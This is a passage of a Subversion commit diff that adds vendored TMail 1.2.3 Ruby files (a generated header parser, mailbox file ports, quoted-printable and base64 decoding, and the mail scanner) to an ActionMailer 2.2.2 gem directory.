+'KEYWORDS',
+'ENCRYPTED',
+'MIMEVERSION',
+'CTYPE',
+'CENCODING',
+'CDISPOSITION',
+'ADDRESS',
+'MAILBOX',
+'DIGIT',
+'ATOM',
+'","',
+'":"',
+'FROM',
+'BY',
+'"@"',
+'DOMLIT',
+'VIA',
+'WITH',
+'ID',
+'FOR',
+'";"',
+'"<"',
+'">"',
+'"."',
+'QUOTED',
+'TOKEN',
+'"/"',
+'"="',
+'$start',
+'content',
+'datetime',
+'received',
+'addrs_TOP',
+'retpath',
+'keys',
+'enc',
+'version',
+'ctype',
+'cencode',
+'cdisp',
+'addr_TOP',
+'mbox',
+'day',
+'hour',
+'zone',
+'from',
+'by',
+'via',
+'with',
+'id',
+'for',
+'received_datetime',
+'received_domain',
+'domain',
+'msgid',
+'received_addrspec',
+'routeaddr',
+'spec',
+'addrs',
+'group_bare',
+'commas',
+'group',
+'addr',
+'mboxes',
+'addr_phrase',
+'local_head',
+'routes',
+'at_domains',
+'local',
+'word',
+'dots',
+'domword',
+'atom',
+'phrase',
+'params',
+'opt_semicolon']
+
+Racc_debug_parser = false
+
+##### racc system variables end #####
+
+ # reduce 0 omitted
+
+module_eval <<'.,.,', 'parser.y', 16
+  def _reduce_1( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 17
+  def _reduce_2( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 18
+  def _reduce_3( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 19
+  def _reduce_4( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 20
+  def _reduce_5( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 21
+  def _reduce_6( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 22
+  def _reduce_7( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 23
+  def _reduce_8( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 24
+  def _reduce_9( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 25
+  def _reduce_10( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 26
+  def _reduce_11( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 27
+  def _reduce_12( val, _values)
+ val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 36
+  def _reduce_13( val, _values)
+                  t = Time.gm(val[3].to_i, val[2], val[1].to_i, 0, 0, 0)
+                  (t + val[4] - val[5]).localtime
+  end
+.,.,
+
+ # reduce 14 omitted
+
+ # reduce 15 omitted
+
+module_eval <<'.,.,', 'parser.y', 45
+  def _reduce_16( val, _values)
+                  (val[0].to_i * 60 * 60) +
+                  (val[2].to_i * 60)
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 51
+  def _reduce_17( val, _values)
+                  (val[0].to_i * 60 * 60) +
+                  (val[2].to_i * 60) +
+                  (val[4].to_i)
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 56
+  def _reduce_18( val, _values)
+                  timezone_string_to_unixtime(val[0])
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 61
+  def _reduce_19( val, _values)
+                  val
+  end
+.,.,
+
+ # reduce 20 omitted
+
+module_eval <<'.,.,', 'parser.y', 67
+  def _reduce_21( val, _values)
+                  val[1]
+  end
+.,.,
+
+ # reduce 22 omitted
+
+module_eval <<'.,.,', 'parser.y', 73
+  def _reduce_23( val, _values)
+                  val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 79
+  def _reduce_24( val, _values)
+                  join_domain(val[0])
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 83
+  def _reduce_25( val, _values)
+                  join_domain(val[2])
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 87
+  def _reduce_26( val, _values)
+                  join_domain(val[0])
+  end
+.,.,
+
+ # reduce 27 omitted
+
+module_eval <<'.,.,', 'parser.y', 93
+  def _reduce_28( val, _values)
+                  val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 98
+  def _reduce_29( val, _values)
+                  []
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 103
+  def _reduce_30( val, _values)
+                  val[0].push val[2]
+                  val[0]
+  end
+.,.,
+
+ # reduce 31 omitted
+
+module_eval <<'.,.,', 'parser.y', 109
+  def _reduce_32( val, _values)
+                  val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 113
+  def _reduce_33( val, _values)
+                  val[1]
+  end
+.,.,
+
+ # reduce 34 omitted
+
+module_eval <<'.,.,', 'parser.y', 119
+  def _reduce_35( val, _values)
+                  val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 125
+  def _reduce_36( val, _values)
+                  val[0].spec
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 129
+  def _reduce_37( val, _values)
+                  val[0].spec
+  end
+.,.,
+
+ # reduce 38 omitted
+
+module_eval <<'.,.,', 'parser.y', 136
+  def _reduce_39( val, _values)
+                  val[1]
+  end
+.,.,
+
+ # reduce 40 omitted
+
+ # reduce 41 omitted
+
+ # reduce 42 omitted
+
+ # reduce 43 omitted
+
+ # reduce 44 omitted
+
+ # reduce 45 omitted
+
+ # reduce 46 omitted
+
+module_eval <<'.,.,', 'parser.y', 146
+  def _reduce_47( val, _values)
+ [ Address.new(nil, nil) ]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 152
+  def _reduce_48( val, _values)
+                  val
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 157
+  def _reduce_49( val, _values)
+                  val[0].push val[2]
+                  val[0]
+  end
+.,.,
+
+ # reduce 50 omitted
+
+ # reduce 51 omitted
+
+module_eval <<'.,.,', 'parser.y', 165
+  def _reduce_52( val, _values)
+                  val
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 170
+  def _reduce_53( val, _values)
+                  val[0].push val[2]
+                  val[0]
+  end
+.,.,
+
+ # reduce 54 omitted
+
+ # reduce 55 omitted
+
+module_eval <<'.,.,', 'parser.y', 178
+  def _reduce_56( val, _values)
+                  val[1].phrase = Decoder.decode(val[0])
+                  val[1]
+  end
+.,.,
+
+ # reduce 57 omitted
+
+module_eval <<'.,.,', 'parser.y', 185
+  def _reduce_58( val, _values)
+                  AddressGroup.new(val[0], val[2])
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 185
+  def _reduce_59( val, _values)
+ AddressGroup.new(val[0], [])
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 188
+  def _reduce_60( val, _values)
+ val[0].join('.')
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 189
+  def _reduce_61( val, _values)
+ val[0] << ' ' << val[1].join('.')
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 196
+  def _reduce_62( val, _values)
+                  val[2].routes.replace val[1]
+                  val[2]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 200
+  def _reduce_63( val, _values)
+                  val[1]
+  end
+.,.,
+
+ # reduce 64 omitted
+
+module_eval <<'.,.,', 'parser.y', 203
+  def _reduce_65( val, _values)
+ [ val[1].join('.') ]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 204
+  def _reduce_66( val, _values)
+ val[0].push val[3].join('.'); val[0]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 206
+  def _reduce_67( val, _values)
+ Address.new( val[0], val[2] )
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 207
+  def _reduce_68( val, _values)
+ Address.new( val[0], nil )
+  end
+.,.,
+
+ # reduce 69 omitted
+
+module_eval <<'.,.,', 'parser.y', 210
+  def _reduce_70( val, _values)
+ val[0].push ''; val[0]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 213
+  def _reduce_71( val, _values)
+ val
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 222
+  def _reduce_72( val, _values)
+                  val[1].times do
+                    val[0].push ''
+                  end
+                  val[0].push val[2]
+                  val[0]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 224
+  def _reduce_73( val, _values)
+ val
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 233
+  def _reduce_74( val, _values)
+                  val[1].times do
+                    val[0].push ''
+                  end
+                  val[0].push val[2]
+                  val[0]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 234
+  def _reduce_75( val, _values)
+ 0
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 235
+  def _reduce_76( val, _values)
+ 1
+  end
+.,.,
+
+ # reduce 77 omitted
+
+ # reduce 78 omitted
+
+ # reduce 79 omitted
+
+ # reduce 80 omitted
+
+ # reduce 81 omitted
+
+ # reduce 82 omitted
+
+ # reduce 83 omitted
+
+ # reduce 84 omitted
+
+module_eval <<'.,.,', 'parser.y', 253
+  def _reduce_85( val, _values)
+                  val[1] = val[1].spec
+                  val.join('')
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 254
+  def _reduce_86( val, _values)
+ val
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 255
+  def _reduce_87( val, _values)
+ val[0].push val[2]; val[0]
+  end
+.,.,
+
+ # reduce 88 omitted
+
+module_eval <<'.,.,', 'parser.y', 258
+  def _reduce_89( val, _values)
+ val[0] << ' ' << val[1]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 265
+  def _reduce_90( val, _values)
+                  val.push nil
+                  val
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 269
+  def _reduce_91( val, _values)
+                  val
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 274
+  def _reduce_92( val, _values)
+                  [ val[0].to_i, val[2].to_i ]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 279
+  def _reduce_93( val, _values)
+                  [ val[0].downcase, val[2].downcase, decode_params(val[3]) ]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 283
+  def _reduce_94( val, _values)
+                  [ val[0].downcase, nil, decode_params(val[1]) ]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 288
+  def _reduce_95( val, _values)
+                  {}
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 293
+  def _reduce_96( val, _values)
+                  val[0][ val[2].downcase ] = ('"' + val[4].to_s + '"')
+                  val[0]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 298
+  def _reduce_97( val, _values)
+                  val[0][ val[2].downcase ] = val[4]
+                  val[0]
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 303
+  def _reduce_98( val, _values)
+                  val[0].downcase
+  end
+.,.,
+
+module_eval <<'.,.,', 'parser.y', 308
+  def _reduce_99( val, _values)
+                  [ val[0].downcase, decode_params(val[1]) ]
+  end
+.,.,
+
+ # reduce 100 omitted
+
+ # reduce 101 omitted
+
+ # reduce 102 omitted
+
+ # reduce 103 omitted
+
+ # reduce 104 omitted
+
+ # reduce 105 omitted
+
+ # reduce 106 omitted
+
+ # reduce 107 omitted
+
+ # reduce 108 omitted
+
+ def _reduce_none( val, _values)
+  val[0]
+ end
+
+  end   # class Parser
+
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/port.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/port.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/port.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,379 @@
+=begin rdoc
+
+= Port class
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+require 'tmail/stringio'
+
+
+module TMail
+
+  class Port
+    def reproducible?
+      false
+    end
+  end
+
+
+  ###
+  ### FilePort
+  ###
+
+  class FilePort < Port
+
+    def initialize( fname )
+      @filename = File.expand_path(fname)
+      super()
+    end
+
+    attr_reader :filename
+
+    alias ident filename
+
+    def ==( other )
+      other.respond_to?(:filename) and @filename == other.filename
+    end
+
+    alias eql? ==
+
+    def hash
+      @filename.hash
+    end
+
+    def inspect
+      "#<#{self.class}:#{@filename}>"
+    end
+
+    def reproducible?
+      true
+    end
+
+    def size
+      File.size @filename
+    end
+
+
+    def ropen( &block )
+      File.open(@filename, &block)
+    end
+
+    def wopen( &block )
+      File.open(@filename, 'w', &block)
+    end
+
+    def aopen( &block )
+      File.open(@filename, 'a', &block)
+    end
+
+
+    def read_all
+      ropen {|f|
+          return f.read
+      }
+    end
+
+
+    def remove
+      File.unlink @filename
+    end
+
+    def move_to( port )
+      begin
+        File.link @filename, port.filename
+      rescue Errno::EXDEV
+        copy_to port
+      end
+      File.unlink @filename
+    end
+
+    alias mv move_to
+
+    def copy_to( port )
+      if FilePort === port
+        copy_file @filename, port.filename
+      else
+        File.open(@filename) {|r|
+        port.wopen {|w|
+            while s = r.sysread(4096)
+              w.write << s
+            end
+        } }
+      end
+    end
+
+    alias cp copy_to
+
+    private
+
+    # from fileutils.rb
+    def copy_file( src, dest )
+      st = r = w = nil
+
+      File.open(src,  'rb') {|r|
+      File.open(dest, 'wb') {|w|
+          st = r.stat
+          begin
+            while true
+              w.write r.sysread(st.blksize)
+            end
+          rescue EOFError
+          end
+      } }
+    end
+
+  end
+
+
+  module MailFlags
+
+    def seen=( b )
+      set_status 'S', b
+    end
+
+    def seen?
+      get_status 'S'
+    end
+
+    def replied=( b )
+      set_status 'R', b
+    end
+
+    def replied?
+      get_status 'R'
+    end
+
+    def flagged=( b )
+      set_status 'F', b
+    end
+
+    def flagged?
+      get_status 'F'
+    end
+
+    private
+
+    def procinfostr( str, tag, true_p )
+      a = str.upcase.split(//)
+      a.push true_p ? tag : nil
+      a.delete tag unless true_p
+      a.compact.sort.join('').squeeze
+    end
+  
+  end
+
+
+  class MhPort < FilePort
+
+    include MailFlags
+
+    private
+    
+    def set_status( tag, flag )
+      begin
+        tmpfile = @filename + '.tmailtmp.' + $$.to_s
+        File.open(tmpfile, 'w') {|f|
+          write_status f, tag, flag
+        }
+        File.unlink @filename
+        File.link tmpfile, @filename
+      ensure
+        File.unlink tmpfile
+      end
+    end
+
+    def write_status( f, tag, flag )
+      stat = ''
+      File.open(@filename) {|r|
+        while line = r.gets
+          if line.strip.empty?
+            break
+          elsif m = /\AX-TMail-Status:/i.match(line)
+            stat = m.post_match.strip
+          else
+            f.print line
+          end
+        end
+
+        s = procinfostr(stat, tag, flag)
+        f.puts 'X-TMail-Status: ' + s unless s.empty?
+        f.puts
+
+        while s = r.read(2048)
+          f.write s
+        end
+      }
+    end
+
+    def get_status( tag )
+      File.foreach(@filename) {|line|
+        return false if line.strip.empty?
+        if m = /\AX-TMail-Status:/i.match(line)
+          return m.post_match.strip.include?(tag[0])
+        end
+      }
+      false
+    end
+  
+  end
+
+
+  class MaildirPort < FilePort
+
+    def move_to_new
+      new = replace_dir(@filename, 'new')
+      File.rename @filename, new
+      @filename = new
+    end
+
+    def move_to_cur
+      new = replace_dir(@filename, 'cur')
+      File.rename @filename, new
+      @filename = new
+    end
+
+    def replace_dir( path, dir )
+      "#{File.dirname File.dirname(path)}/#{dir}/#{File.basename path}"
+    end
+    private :replace_dir
+
+
+    include MailFlags
+
+    private
+
+    MAIL_FILE = /\A(\d+\.[\d_]+\.[^:]+)(?:\:(\d),(\w+)?)?\z/
+
+    def set_status( tag, flag )
+      if m = MAIL_FILE.match(File.basename(@filename))
+        s, uniq, type, info, = m.to_a
+        return if type and type != '2'  # do not change anything
+        newname = File.dirname(@filename) + '/' +
+                  uniq + ':2,' + procinfostr(info.to_s, tag, flag)
+      else
+        newname = @filename + ':2,' + tag
+      end
+
+      File.link @filename, newname
+      File.unlink @filename
+      @filename = newname
+    end
+
+    def get_status( tag )
+      m = MAIL_FILE.match(File.basename(@filename)) or return false
+      m[2] == '2' and m[3].to_s.include?(tag[0])
+    end
+  
+  end
+
+
+  ###
+  ###  StringPort
+  ###
+
+  class StringPort < Port
+
+    def initialize( str = '' )
+      @buffer = str
+      super()
+    end
+
+    def string
+      @buffer
+    end
+
+    def to_s
+      @buffer.dup
+    end
+
+    alias read_all to_s
+
+    def size
+      @buffer.size
+    end
+
+    def ==( other )
+      StringPort === other and @buffer.equal? other.string
+    end
+
+    alias eql? ==
+
+    def hash
+      @buffer.object_id.hash
+    end
+
+    def inspect
+      "#<#{self.class}:id=#{sprintf '0x%x', @buffer.object_id}>"
+    end
+
+    def reproducible?
+      true
+    end
+
+    def ropen( &block )
+      @buffer or raise Errno::ENOENT, "#{inspect} is already removed"
+      StringInput.open(@buffer, &block)
+    end
+
+    def wopen( &block )
+      @buffer = ''
+      StringOutput.new(@buffer, &block)
+    end
+
+    def aopen( &block )
+      @buffer ||= ''
+      StringOutput.new(@buffer, &block)
+    end
+
+    def remove
+      @buffer = nil
+    end
+
+    alias rm remove
+
+    def copy_to( port )
+      port.wopen {|f|
+          f.write @buffer
+      }
+    end
+
+    alias cp copy_to
+
+    def move_to( port )
+      if StringPort === port
+        str = @buffer
+        port.instance_eval { @buffer = str }
+      else
+        copy_to port
+      end
+      remove
+    end
+
+  end
+
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/quoting.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/quoting.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/quoting.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,118 @@
+=begin rdoc
+
+= Quoting methods
+
+=end
+module TMail
+  class Mail
+    def subject(to_charset = 'utf-8')
+      Unquoter.unquote_and_convert_to(quoted_subject, to_charset)
+    end
+
+    def unquoted_body(to_charset = 'utf-8')
+      from_charset = sub_header("content-type", "charset")
+      case (content_transfer_encoding || "7bit").downcase
+        when "quoted-printable"
+          # the default charset is set to iso-8859-1 instead of 'us-ascii'.
+          # This is needed as many mailer do not set the charset but send in ISO. This is only used if no charset is set.
+          if !from_charset.blank? && from_charset.downcase == 'us-ascii'
+            from_charset = 'iso-8859-1'
+          end
+
+          Unquoter.unquote_quoted_printable_and_convert_to(quoted_body,
+            to_charset, from_charset, true)
+        when "base64"
+          Unquoter.unquote_base64_and_convert_to(quoted_body, to_charset,
+            from_charset)
+        when "7bit", "8bit"
+          Unquoter.convert_to(quoted_body, to_charset, from_charset)
+        when "binary"
+          quoted_body
+        else
+          quoted_body
+      end
+    end
+
+    def body(to_charset = 'utf-8', &block)
+      attachment_presenter = block || Proc.new { |file_name| "Attachment: #{file_name}\n" }
+
+      if multipart?
+        parts.collect { |part|
+          header = part["content-type"]
+
+          if part.multipart?
+            part.body(to_charset, &attachment_presenter)
+          elsif header.nil?
+            ""
+          elsif !attachment?(part)
+            part.unquoted_body(to_charset)
+          else
+            attachment_presenter.call(header["name"] || "(unnamed)")
+          end
+        }.join
+      else
+        unquoted_body(to_charset)
+      end
+    end
+  end
+
+  class Unquoter
+    class << self
+      def unquote_and_convert_to(text, to_charset, from_charset = "iso-8859-1", preserve_underscores=false)
+        return "" if text.nil?
+        text.gsub(/(.*?)(?:(?:=\?(.*?)\?(.)\?(.*?)\?=)|$)/) do
+          before = $1
+          from_charset = $2
+          quoting_method = $3
+          text = $4
+
+          before = convert_to(before, to_charset, from_charset) if before.length > 0
+          before + case quoting_method
+              when "q", "Q" then
+                unquote_quoted_printable_and_convert_to(text, to_charset, from_charset, preserve_underscores)
+              when "b", "B" then
+                unquote_base64_and_convert_to(text, to_charset, from_charset)
+              when nil then
+                # will be nil at the end of the string, due to the nature of
+                # the regex used.
+                ""
+              else
+                raise "unknown quoting method #{quoting_method.inspect}"
+            end
+        end
+      end
+
+      def unquote_quoted_printable_and_convert_to(text, to, from, preserve_underscores=false)
+        text = text.gsub(/_/, " ") unless preserve_underscores
+        text = text.gsub(/\r\n|\r/, "\n") # normalize newlines
+        convert_to(text.unpack("M*").first, to, from)
+      end
+
+      def unquote_base64_and_convert_to(text, to, from)
+        convert_to(Base64.decode(text), to, from)
+      end
+
+      begin
+        require 'iconv'
+        def convert_to(text, to, from)
+          return text unless to && from
+          text ? Iconv.iconv(to, from, text).first : ""
+        rescue Iconv::IllegalSequence, Iconv::InvalidEncoding, Errno::EINVAL
+          # the 'from' parameter specifies a charset other than what the text
+          # actually is...not much we can do in this case but just return the
+          # unconverted text.
+          #
+          # Ditto if either parameter represents an unknown charset, like
+          # X-UNKNOWN.
+          text
+        end
+      rescue LoadError
+        # Not providing quoting support
+        def convert_to(text, to, from)
+          warn "Action Mailer: iconv not loaded; ignoring conversion from #{from} to #{to} (#{__FILE__}:#{__LINE__})"
+          text
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/require_arch.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/require_arch.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/require_arch.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+#:stopdoc:
+require 'rbconfig'
+
+# Attempts to require anative extension.
+# Falls back to pure-ruby version, if it fails.
+#
+# This uses Config::CONFIG['arch'] from rbconfig.
+
+def require_arch(fname)
+  arch = Config::CONFIG['arch']
+  begin
+    path = File.join("tmail", arch, fname)
+    require path
+  rescue LoadError => e
+    # try pre-built Windows binaries
+    if arch =~ /mswin/
+      require File.join("tmail", 'mswin32', fname)
+    else
+      raise e
+    end
+  end
+end
+
+
+# def require_arch(fname)
+#   dext = Config::CONFIG['DLEXT']
+#   begin
+#     if File.extname(fname) == dext
+#       path = fname
+#     else
+#       path = File.join("tmail","#{fname}.#{dext}")
+#     end
+#     require path
+#   rescue LoadError => e
+#     begin
+#       arch = Config::CONFIG['arch']
+#       path = File.join("tmail", arch, "#{fname}.#{dext}")
+#       require path
+#     rescue LoadError
+#       case path
+#       when /i686/
+#         path.sub!('i686', 'i586')
+#       when /i586/
+#         path.sub!('i586', 'i486')
+#       when /i486/
+#         path.sub!('i486', 'i386')
+#       else
+#         begin
+#           require fname + '.rb'
+#         rescue LoadError
+#           raise e
+#         end
+#       end
+#       retry
+#     end
+#   end
+# end
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+=begin rdoc
+
+= Scanner for TMail
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+#:stopdoc:
+#require 'tmail/require_arch'
+require 'tmail/utils'
+require 'tmail/config'
+
+module TMail
+  # NOTE: It woiuld be nice if these two libs could boith be called "tmailscanner", and
+  # the native extension would have precedence. However RubyGems boffs that up b/c
+  # it does not gaurantee load_path order.
+  begin
+    raise LoadError, 'Turned off native extentions by user choice' if ENV['NORUBYEXT']
+    require('tmail/tmailscanner') # c extension
+    Scanner = TMailScanner
+  rescue LoadError
+    require 'tmail/scanner_r'
+    Scanner = TMailScanner
+  end
+end
+#:stopdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner_r.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner_r.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner_r.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,261 @@
+# scanner_r.rb
+#
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+#:stopdoc:
+require 'tmail/config'
+
+module TMail
+
+  class TMailScanner
+
+    Version = '1.2.3'
+    Version.freeze
+
+    MIME_HEADERS = {
+      :CTYPE        => true,
+      :CENCODING    => true,
+      :CDISPOSITION => true
+    }
+
+    alnum      = 'a-zA-Z0-9'
+    atomsyms   = %q[  _#!$%&`'*+-{|}~^/=?  ].strip
+    tokensyms  = %q[  _#!$%&`'*+-{|}~^@.    ].strip
+    atomchars  = alnum + Regexp.quote(atomsyms)
+    tokenchars = alnum + Regexp.quote(tokensyms)
+    iso2022str = '\e(?!\(B)..(?:[^\e]+|\e(?!\(B)..)*\e\(B'
+
+    eucstr  = "(?:[\xa1-\xfe][\xa1-\xfe])+"
+    sjisstr = "(?:[\x81-\x9f\xe0-\xef][\x40-\x7e\x80-\xfc])+"
+    utf8str = "(?:[\xc0-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf][\x80-\xbf])+"
+
+    quoted_with_iso2022  = /\A(?:[^\\\e"]+|#{iso2022str})+/n
